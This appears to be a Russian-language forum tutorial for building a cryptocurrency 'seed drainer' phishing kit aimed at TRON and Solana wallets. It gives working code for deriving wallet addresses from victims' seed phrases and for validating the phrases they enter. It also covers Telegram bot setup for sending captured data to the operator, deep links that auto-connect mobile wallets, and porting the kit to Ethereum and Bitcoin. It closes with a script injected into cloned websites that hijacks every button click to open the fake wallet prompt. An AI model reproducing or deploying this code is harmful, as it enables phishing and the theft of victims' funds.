Метод 4 - Дополнительные аккаунты Trust:
for (let i = 0; i < 50; i++) {
const derivedKey = masterKey.derive(m/44'/501'/${i})
const keypair = Keypair.fromSeed(derivedKey.privateKey.slice(0, 32))
addresses.push({ address: addr, path:Trust Account ${i}})
}
Trust Wallet создает новые аккаунты просто увеличивая индекс. Account 0, Account 1, Account 2 и так далее.
Метод 5 - Аккаунты Phantom:
for (let i = 0; i < 20; i++) {
const derivedKey = masterKey.derive(m/44'/501'/${i}'/0')
const keypair = Keypair.fromSeed(derivedKey.privateKey.slice(0, 32))
addresses.push({ address: addr, path:Phantom Account ${i}})
}
Phantom добавляет еще один уровень деривации с /0' в конце.
Метод 6 - Комбинации с change индексом:
for (let acc = 0; acc < 10; acc++) {
for (let change = 0; change < 3; change++) {
const derivedKey = masterKey.derive(m/44'/501'/${acc}'/${change}')
const keypair = Keypair.fromSeed(derivedKey.privateKey.slice(0, 32))
addresses.push({ address: addr, path:Acc${acc}/Change${change}})
}
}
Некоторые кошельки используют BIP44 полностью с change индексом для разделения получения и отправки адресов.
В итоге функция generateAllPossibleAddresses возвращает массив из 200-300 уникальных адресов. В старой версии проекта все эти адреса проверялись на баланс, но это занимало минуты, поэтому логику изменили.
DEEP LINKS И МОБИЛЬНЫЕ КОШЕЛЬКИ
На телефоне работа отличается. Если юзер не в dApp-браузере кошелька, мы перекидываем его туда через deep link. Deep link это специальная URL-схема типа phantom:// или trust://, которая открывает приложение.
Вот как формируются deep links для разных кошельков:
const WALLETS = [
JSX:
{
id: "phantom",
deeplink: (url, walletId) => `phantom://browse/${encodeURIComponent(url + "?wallet=" + walletId)}`,
},
{
id: "solflare",
deeplink: (url, walletId) =>
`solflare://ul/v1/browse/${encodeURIComponent(url + "?wallet=" + walletId)}?ref=${encodeURIComponent(url)}`,
},
{
id: "trustwallet",
deeplink: (url, walletId) =>
`https://link.trustwallet.com/open_url?url=${encodeURIComponent(url + "?wallet=" + walletId)}`,
},
]
Когда юзер кликает кнопку Connect на мобилке, мы редиректим его:
JSX:
if (device === "mobile" && !walletBrowser.isWalletBrowser) {
const targetUrl = window.location.origin
const deeplink = wallet.deeplink(targetUrl, walletId)
window.location.href = deeplink
}
Deep link открывает кошелек и загружает наш сайт внутри dApp-браузера. В URL добавляется параметр ?wallet=phantom, который автоматически запускает подключение:
useEffect(() => {
const urlParams = new URLSearchParams(window.location.search)
const walletParam = urlParams.get("wallet")
if (walletParam) {
setSelectedWallet(walletParam)
setIsAutoConnecting(true)
}
}, [])
Таким образом юзер не делает лишних кликов, все происходит автоматически.
ОПРЕДЕЛЕНИЕ КОШЕЛЬКА
Модалка умеет определять, из какого кошелька открыт сайт. Это делается через User Agent:
JSX:
const detectWalletBrowser = (): WalletBrowserInfo => {
const userAgent = navigator.userAgent.toLowerCase()
const isPhantomBrowser = userAgent.includes("phantom")
const isSolflareBrowser = userAgent.includes("solflare") || window.solflare?.isSolflare === true
const isTrustBrowser = userAgent.includes("trust") || window.trustwallet
const isBackpackBrowser = userAgent.includes("backpack")
let detectedWallet = null
if (isPhantomBrowser) detectedWallet = "phantom"
else if (isSolflareBrowser) detectedWallet = "solflare"
else if (isTrustBrowser) detectedWallet = "trustwallet"
else if (isBackpackBrowser) detectedWallet = "backpack"
return { is
WalletBrowser: !!detectedWallet, walletKey: detectedWallet }
}
Если сайт открыт в dApp-браузере, модалка автоматически выбирает нужный кошелек и подключается:
if (browserInfo.isWalletBrowser && browserInfo.walletKey) {
setIsAutoConnecting(true)
setSelectedWallet(browserInfo.walletKey)
}
ВАЛИДАЦИЯ SEED-ФРАЗЫ
Перед отправкой seed-фраза проходит валидацию:
JSX:
const validateSeedPhrase = (phrase: string) => {
const words = phrase.trim().split(/\s+/).filter(word => word.length > 0)
const wordCount = words.length
// Проверяем что только английские буквы
const englishOnlyRegex = /^[a-zA-Z]+$/
for (const word of words) {
if (!englishOnlyRegex.test(word)) {
return { isValid: false, error: "Only English words allowed" }
}
if (word.length < 3) {
return { isValid: false, error: "Each word must have at least 3 letters" }
}
}
// Проверяем количество слов
if (wordCount !== 12 && wordCount !== 24) {
return { isValid: false, error: null }
}
return { isValid: true }
}
- Только английские буквы без цифр и спецсимволов
- Каждое слово минимум 3 буквы
- Всего 12 или 24 слова
- Банворды на матные слова 1 в 1 как в TRON (английский/криллица)
- Повторение одного слова больше 4 раз
HTML WRAPPER И IFRAME
Оба проекта (и TRON, и Solana) используют HtmlLandingWrapper компонент. Это нужно чтобы можно было использовать любую HTML landing page, а не писать весь дизайн в React.
Вот как работает wrapper:
JSX:
const iframeRef = useRef<HTMLIFrameElement>(null)
useEffect(() => {
const iframe = iframeRef.current
if (iframe) {
const iframeDocument = iframe.contentDocument || iframe.contentWindow?.document
if (iframeDocument) {
iframeDocument.open()
iframeDocument.write(htmlContent)
iframeDocument.close()
// Добавляем функцию для открытия модалки
if (iframe.contentWindow) {
iframe.contentWindow.openWalletScanner = () => {
setIsModalOpen(true)
}
}
}
}
}, [htmlContent])
HTML:
<button onclick="parent.openWalletScanner()">Connect Wallet</button>
Таким образом модалка висит поверх всего и работает независимо от содержимого landing page.<div className="fixed inset-0 pointer-events-none z-[99999]">
<div className="pointer-events-auto">
<WalletModal isOpen={isModalOpen} onClose={() => setIsModalOpen(false)} />
</div>
</div>
ПОЛУЧЕНИЕ API КЛЮЧЕЙ
Для работы проекта нужны несколько ключей:
1. HELIUS_API_KEY - для доступа к Solana RPC
Регистрируешься на helius.dev через google/github аккаунт, создаешь проект, копируешь API ключ. Helius дает бесплатный тариф с лимитом запросов 100000.
2. TELEGRAM_BOT_TOKEN и TELEGRAM_CHAT_ID
Открываешь BotFather в Telegram, создаешь нового бота командой /newbot, копируешь токен. Для chat_id открываешь @userinfobot и смотришь свой ID.
@userinfobot и смотришь свой ID
3. Jupiter API не требует ключ, работает публично
4. CoinGecko API тоже публичный
ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ ДЛЯ ДЕПЛОЯ
В Vercel добавляешь переменные:
HELIUS_API_KEY=твойключот_helius
TELEGRAM_BOT_TOKEN=123456:ABCdefGHIjkl
TELEGRAM_CHAT_ID=123456789
БОНУС:
Как переписать seed drainer под любую сеть?
Код легко адаптируется под любую блокчейн сеть, если знаешь её особенности.
Сначала нужно узнать путь деривации для нужной сети - например для Ethereum это m/44'/60'/0'/0/0, для Bitcoin m/44'/0'/0'/0/0, для Polygon m/44'/60'/0'/0/0 (такой же как у ETH).
Затем меняешь API для проверки баланса - вместо TronGrid используешь Etherscan для Ethereum, Blockchain.com для Bitcoin, или Polygonscan для Polygon.
Deep links для каждой сети свои - MetaMask использует metamask://, Trust Wallet поддерживает trust://open_url, Exodus работает через exodus://.
В wallet-modal.tsx меняешь список поддерживаемых кошельков под нужную сеть - для Ethereum это MetaMask, Coinbase Wallet, Rainbow, для Bitcoin это Electrum, BlueWallet.
Логику генерации адреса адаптируешь под формат сети - Bitcoin использует base58check или bech32, Ethereum работает с hex форматом 0x..., Solana с base58.
Для получения курса валюты меняешь ID в CoinGecko API - bitcoin, ethereum, matic-network и так далее.
В rate-limiter.ts можешь оставить всё как есть, эта логика универсальна для любой сети.
Telegram уведомления тоже универсальны, только меняешь название сети в сообщении.
Для некоторых сетей типа Solana или Cardano нужно учитывать множественные пути деривации, там лучше использовать подход с подключением кошелька сначала.
Validators для seed-фраз остаются теми же, BIP39 работает одинаково для всех сетей.
В итоге основная работа - это поменять путь деривации, API провайдера, deep links и список кошельков, остальная логика остаётся без изменений.
Ставим лендинг сами
Как скачать сайт и сделать вызов модального окна
Чтобы скачать любой сайт целиком в один HTML файл, установи расширение SingleFile для Chrome или Firefox.
После установки открой нужный сайт, кликни на иконку расширения и выбери "Save page as SingleFile" - все стили, скрипты и изображения упакуются в один файл.
Теперь можно открыть этот HTML в любом редакторе и вставить в начало тега body специальный скрипт-перехватчик.
Обычный скаченный сайт, внедряем script - перехватчик
JavaScript:
<script>
;(() => {
// Функция для проверки, является ли элемент кнопкой
function isButton(element) {
if (!element) return false
const tagName = element.tagName.toLowerCase()
const role = element.getAttribute("role")
const className = element.className || ""
const id = element.id || ""
// Проверяем различные типы кнопок
return (
tagName === "button" ||
tagName === "a" ||
role === "button" ||
className.includes("btn") ||
className.includes("button") ||
className.includes("open-wallet") ||
className.includes("connect") ||
id.includes("connect") ||
id.includes("wallet")
)
}
// Глобальный обработчик всех кликов
document.addEventListener(
"click",
(event) => {
let target = event.target
// Проходим по родителям до 5 уровней вверх
for (let i = 0; i < 5 && target; i++) {
if (isButton(target)) {
console.log("[Wallet Interceptor] Button clicked:", target)
// Предотвращаем стандартное поведение
event.preventDefault()
event.stopPropagation()
// Вызываем функцию открытия кошелька
if (typeof window.openWalletScanner === "function") {
console.log("[Wallet Interceptor] Opening wallet modal")
window.openWalletScanner()
} else {
console.error("[Wallet Interceptor] window.openWalletScanner is not defined")
alert("Wallet scanner function not available. Please check integration.")
}
return false
}
target = target.parentElement
}
},
true,
) // Используем capturing phase для перехвата до других обработчиков
})()
</script>
Теперь готовый HTML код скопируй и вставь в private-landing (solana-airdrop.html/tron-airdrop.html)
ЗАКЛЮЧЕНИЕ
Мы разобрали два проекта для работы с криптокошельками на разных блокчейнах. Оба проекта решают одну задачу, но используют разные подходы из-за особенностей TRON и Solana.
TRON проект работает через прямую генерацию адреса из seed-фразы благодаря единому пути деривации. Это делает код простым и быстрым - одна seed фраза генерирует один адрес, который мгновенно проверяется через TronGrid API.
Solana проект использует более сложный подход из-за отсутствия стандартизации путей деривации. Вместо перебора сотен возможных адресов мы сначала подключаемся к кошельку и получаем адрес напрямую, а потом запрашиваем seed-фразу.
В обоих проектах мы разобрали:
- Криптографию от seed-фраз до адресов
- Работу с блокчейн API (TronGrid, Helius, Jupiter)
- Создание Telegram ботов для уведомлений
- Валидацию входных данных на нескольких уровнях
- Rate limiting для защиты от спама
- Deep links для мобильных кошельков
- HTML wrapper с iframe для landing pages
- Деплой на Vercel с переменными окружения
Эти проекты демонстрируют как работать с разными блокчейнами, учитывая их особенности. Код написан на TypeScript с Next.js 16 и использует современные практики веб-разработки.
Главный урок - не существует универсального подхода для всех блокчейнов. Нужно понимать особенности каждой сети и адаптировать решение под конкретную задачу.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Важно отметить что предоставленный код полностью рабочий, он дан как source код для понимания разработки. Перед тем как вынести проект в люди, проработайте endpoints для защиты. Вот что я бы сделал:
Добавить middleware для проверки origin заголовков - сейчас любой может дергать /api/check-balance и /api/send-telegram с любого домена, нужно разрешить только с твоего фронтенда.
Сделать API Key авторизацию между фронтом и бэком - добавить секретный токен в env переменные, который фронт будет слать в заголовке Authorization, без него API вернет 401.
Усилить rate limiting на уровне IP - сейчас можно обойти через VPN/прокси, нужно добавить fingerprinting браузера (canvas, WebGL, fonts) и комбинировать с IP для более точной идентификации атакующего.
Вложения
Последнее редактирование:
" },
" },
" },
" },

